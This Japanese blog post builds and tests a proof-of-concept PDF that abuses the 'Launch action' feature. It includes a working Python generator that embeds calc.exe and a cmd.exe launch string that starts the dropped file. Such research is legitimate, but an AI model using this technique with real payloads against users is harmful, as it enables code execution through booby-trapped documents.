PDF仕様「Launch action」を悪用するPDFを作成してみる

2010年4月初旬、PDF仕様「Launch action」を悪用した PDF(以降、悪意ある PDF)が確認されました。UnderForge of LackGnome さんから Dynamoo's Blog で紹介されていた悪意ある PDF をいただきましたが、自分で探した限りでは見つかりませんでした。Proof of Concept(PoC)となるようなものがほしいと思い、自分で悪意ある PDF を作成しました。

悪意ある PDF を作成する

悪意ある PDF の情報が紹介されている Stop MalvertisingM86 Security Labs を参考にしながら、Felipe Andres Manzano 氏が公開している PythonminiPDF.py を使用して、悪意ある PDF を作成しました。以下に Python コードを掲載します。このコードを保存し、Python*1で実行すればコードと同じフォルダ内に myPoC.pdf が作成されます。

# -*- coding: utf-8 -*-

import sys, md5
from miniPDF import *

def main():
	### Read calc.exe
	calcFile = open("C:\\WINDOWS\\system32\\calc.exe", "rb")
	fileStr = calcFile.read()
	calcFile.close()

	### Create Proof of Concept PDF
	doc = PDFDoc()

	# EmbeddedFile object
	ef = PDFStream(fileStr)
	ef.add("Type", PDFName("EmbeddedFile"))
	ef.add("SubType", PDFName("application#2Fpdf"))
	ef.add("Params", PDFDict({"Size": PDFNum(len(fileStr)), \
		"CheckSum": PDFHexString(md5.new(fileStr).digest())}))
	ef.add("DL", "%d" % len(fileStr))

	# Filespec object
	filespec = PDFDict()
	filespec.add("Type", PDFName("Filespec"))
	filespec.add("F", PDFString("file.pdf"))
	filespec.add("EF", PDFDict({"F": PDFRef(ef)}))

	namesToFiles = PDFDict()
	namesToFiles.add("Names", PDFArray([PDFString("attach"),PDFRef(filespec)]))
	names = PDFDict()
	names.add("EmbeddedFiles", namesToFiles)

	# Action object (JavaScript)
	jsaction = PDFDict()
	jsaction.add("Type", PDFName("Action"))
	jsaction.add("S", PDFName("JavaScript"))
	jsaction.add("JS", PDFString("this.exportDataObject({ cName: \"attach\", nLaunch: 0});"))

	# Action object (Launch)
	launchcmd = PDFDict()
	launchcmd.add("F", PDFString("cmd.exe"))
	launchcmd.add("D", PDFString("c:\\windows\\system32"))
	launchcmd.add("P", PDFString("/Q /C cd %HOMEPATH%&(if exist \"Desktop\\\\file.pdf\" (cd \"Desktop\"))&(if exist \"My Documents\\\\file.pdf\" (cd \"My Documents\"))&(if exist \"Documents\\\\file.pdf\" (cd \"Documents\"))&(start file.pdf)"))

	launchaction = PDFDict()
	launchaction.add("Type", PDFName("Action"))
	launchaction.add("S", PDFName("Launch"))
	launchaction.add("Win", launchcmd)

	# Stream object
	contents = PDFStream("")

	# Pages object, Page object
	pages = PDFDict({"Type": PDFName("Pages")})
	page = PDFDict({"Type": PDFName("Page")})

	page.add("Contents", PDFRef(contents))
	page.add("Parent", PDFRef(pages))
	page.add("AA", PDFDict({"O": PDFRef(launchaction)}))

	pages.add("Kids", PDFArray([PDFRef(page)]))
	pages.add("Count", PDFNum(1))

	# Catalog object
	catalog = PDFDict({"Type": PDFName("Catalog")})
	catalog.add("Names", PDFRef(names))
	catalog.add("OpenAction", PDFRef(jsaction))
	catalog.add("Pages", PDFRef(pages))

	doc.add(catalog)
	doc.add(pages)
	doc.add(contents)
	doc.add(page)
	doc.add(ef)
	doc.add(filespec)
	doc.add(jsaction)
	doc.add(names)
	doc.add(launchaction)
	doc.setRoot(catalog)


	### Write my Proof of Concept PDF to ./myPoC.pdf
	#print doc
	pdfFile = open("myPoC.pdf", "wb")
	pdfFile.write(doc.__str__())
	pdfFile.close()

if __name__ == "__main__":
	main()

上記 Python コードにより生成される myPoC.pdf は、9 つのオブジェクトで構成されています。オブジェクトの構成については下記の画像にまとめてみました。埋め込んだ JavaScript コード、コマンドは Stop Malvertising の解析結果と同じものにしました。なお、ここで使用しているオブジェクト名等の表現は正しいものでない可能性があります*2。説明するために便宜上使っているものとご理解ください。

悪意ある PDF を PDF ビューアで開く

Adobe Reader

myPoC.pdf を Windows XP SP3 の Adobe Reader 9.3.2(Adobe JavaScript 有効、「Launch action」有効)で開いてみます。myPoC.pdf を開いてみると、まず file.pdf の保存先を指定するウインドウが開きます。ここでは「マイドキュメント」に保存します(下記の画像を参照)。


file.pdf を「マイドキュメント」に保存すると、続いて「Launch action」の警告ウインドウが開きます。ここでは [開く] を選択します(下記の画像を参照)。


適切なフォルダに file.pdf が保存され、警告ダイアログで [開く] がクリックされることで、calc.exe(file.pdf として保存したもの)が起動します(下記の画像を参照)。Windows XP 日本語版の適切なフォルダとは、「ユーザのホームフォルダ(初期設定では、C:\Documents and Settings\<ユーザ名>\)」または「ユーザのマイ ドキュメント」が該当します。

他のフォルダ(デスクトップ等)に file.pdf を保存すると、悪意ある PDF の検索パスにそれらのフォルダが含まれていないため、calc.exe の実行に失敗します(下記の画像を参照)。

Foxit Reader, Nuance PDF Reader

Foxit Reader 3.2.1.0401, Nuance PDF Reader 6.0 それぞれで myPoC.pdf を開いてみましたが、どちらもコマンドの実行に失敗しました*3(下記 2 つの画像を参照)。そもそも file.pdf が保存されていなかったため、myPoC.pdf で使用している Adobe JavaScript の exportDataObject 関数が実装されていない可能性があります。


おまけ:exportDataObject 関数で任意のフォルダにファイルを保存できるか

JavaScript for Acrobat API Reference(日本語版)(PDF)にて、myPoC.pdf で 使用している exportDataObject 関数について確認してみたところ、p.290 に説明がありました(下記画像を参照)。この説明を読むと、exportDataObject には cDIPath という保存先パスを任意のものに指定できる引数があるようです(下記画像の赤枠部)。「指定しなかった場合は、保存場所を指定するように求めるプロンプトが表示されます」と記述されていることから、「指定したら何も表示されずにファイルが保存されるのでは?」と思い*4、確認してみました。


前述の Python コードの Adobe JavaScript の部分を以下のように修正して、改めて myPoC.pdf を作成します。

	jsaction.add("JS", PDFString("this.exportDataObject({ cName: \"attach\", cDIPath: \"C:\\\", nLaunch: 0});"))


Adobe Reader の [編集] メニューの [環境設定] で、JavaScript デバッガを有効にします(下記画像を参照)。


再作成した myPoC.pdf を JavaScript デバッガを有効にした Adobe Reader で開きます。myPoC.pdf を開くと、下記画像のようにエラーが表示されます。どうも任意のフォルダに指定することはできないようですね。

*1:僕の環境は、Windows XP SP3 + Python 2.5.1

*2:正しい表現等は、PDF仕様書(PDF)をご参照ください

*3:Nuance PDF Reader はそもそも絶対パス指定である必要があるため、失敗したと考えます。2010年4月12日の日記を参照

*4:もし僕の懸念が正しいのであれば、スタートアップフォルダに勝手にファイルを保存できる恐れがあります